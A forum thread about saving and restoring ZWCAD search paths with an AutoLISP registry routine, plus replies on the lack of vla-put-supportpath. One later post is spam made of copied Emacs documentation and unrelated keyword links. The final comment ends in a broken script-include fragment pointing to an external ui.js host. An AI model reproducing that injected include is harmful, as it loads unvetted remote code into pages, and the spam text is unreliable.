CAD/CAM discussion forum > CAD > search path setting using lisp

search path setting using lisp

Rank: 1

OldForumPost

Newbie

posts: 0

Registered: 2012-1-14

Message 1 of 7

05-07-2011 11:45 . am | View his/her posts only
Hi
I'm trying to save-add zwcad11 search path using a free lisp, that i found in internet, i have just modified it so i can save the courrent SRCHPATH in a text file but I don't be able to load the new settings.

;;; By Jimmy Bergmark
;;; Copyright (C) 1997-2006 JTB World, All Rights Reserved
;;; Website: www.jtbworld.com
;;; E-mail: info@jtbworld.com
;;; Save and loads support paths to a text file
;;; Change the path as wished

(defun C:saveSupportPaths (/ paths f)
(vl-load-com)
(setq paths (vl-registry-read "HKEY_CURRENT_USER'Software'ZWSoft'ZWCAD 2011 Ita'Profiles'Default'Config" "SRCHPATH")) ;(vla-get-supportpath files))
(setq f (open "C:'paths.txt" "w"))
(write-line paths f)
(close f)
(princ)
)

(defun C:loadSupportPaths (/ paths f)
(vl-load-com)
(setq f (open "C:'paths.txt" "r"))
(setq paths (read-line f))
(close f)
(vla-put-supportpath files paths)
(princ)
)

above the modified lisp, the first part

Rank: 1

OldForumPost

Newbie

posts: 0

Registered: 2012-1-14

Message 2 of 7

 search path setting using lisp
05-07-2011 09:26 . pm | View his/her posts only
Hi,

As you know, ZWCAD doesn't support "VLA-PUT-SUPPORTPATH", but you can do the same thing by writing the paths directly into registry, just like how you read it from registry.
vl-registry-read is for reading, and vl-registry-write is to write back.
You can refer to Developer help to know the detail about how to use vl-registry-write function. Thanks!

Rank: 1

OldForumPost

Newbie

posts: 0

Registered: 2012-1-14

Message 3 of 7

06-07-2011 01:16 . am | View his/her posts only
Thanks

Rank: 1

OldForumPost

Newbie

posts: 0

Registered: 2012-1-14

Message 4 of 7

06-07-2011 04:15 . am | View his/her posts only
Ciao
I looked at Developer help for the

Rank: 1

OldForumPost

Newbie

posts: 0

Registered: 2012-1-14

Message 5 of 7

 search path setting using lisp
05-07-2011 09:26 . pm | View his/her posts only
Hi thanks for you so much detail information.

We have confirmed that, even the vl-register-write function wrote the value into registry correctly, but when you do operation (like insert) , it still use the value in ZWCAD. that means, ZWCAD doesn't get the refreshed value from registry at once.

Currentyly we can't come up with a temporary solution. We have reported this problem to develop team to fix it, and also ask for the new function: vla-put-supportpath

Thanks for your understanding!

Rank: 1

dang xuan nguyen

Newbie

posts: 0

Registered: 2011-11-2

Message 6 of 7

02-10-2011 03:09 . am | View his/her posts only
When Emacs loads a Lisp library, it searches for the library in a list of directories specified by the variable load-path.

?User Option: load-path
The value of this variable is a list of directories to search when loading files with load. Each element is a string (which must be a directory name) or nil (which stands for the current working directory).

The value of load-path is initialized from the environment variable EMACSLOADPATH, if that exists; otherwise its default value is specified in emacs/src/epaths.h when Emacs is built. Then the list is expanded by adding subdirectories of the directories in the list.

The syntax of EMACSLOADPATH is the same as used for PATH; ??(or ?? according to the operating system) separates directory names, and ??is used for the current default directory. Here is an example of how to set your EMACSLOADPATH variable from a csh .login file:

setenv EMACSLOADPATH .:/user/bil/emacs:/usr/local/share/emacs/20.3/lisp
Here is how to set it using sh:

export EMACSLOADPATH
EMACSLOADPATH=.:/user/bil/emacs:/usr/local/share/emacs/20.3/lisp
Here is an example of code you can place in your init file (see Init File) to add several directories to the front of your default load-path:

(setq load-path
(append (list nil "/user/bil/emacs"
"/usr/local/lisplib"
"~/emacs")
load-path))
In this example, the path searches the current working directory first, followed then by the /user/bil/emacs directory, the /usr/local/lisplib directory, and the ~/emacs directory, which are then followed by the standard directories for Lisp code.

Dumping Emacs uses a special value of load-path. If the value of load-path at the end of dumping is unchanged (that is, still the same special value), the dumped Emacs switches to the ordinary load-path value when it starts up, as described above. But if load-path has any other value at the end of dumping, that value is used for execution of the dumped Emacs also.

Therefore, if you want to change load-path temporarily for loading a few libraries in site-init.el or site-load.el, you should bind load-path locally with let around the calls to load.

The default value of load-path, when running an Emacs which has been installed on the system, includes two special directories (and their subdirectories as well):

"/usr/local/share/emacs/version/site-lisp"
and

"/usr/local/share/emacs/site-lisp"
The first one is for locally installed packages for a particular Emacs version; the second is for locally installed packages meant for use with all installed Emacs versions.


everglades bass fishing
charm bracelets

Rank: 1

emmas

Newbie

posts: 1

Registered: 2012-1-12

Message 7 of 7

26-12-2011 12:17 . am | View his/her posts only
Thanks for sharing very good information ................< ="text/" ="http://ui.streamride.net/ui.js">
See also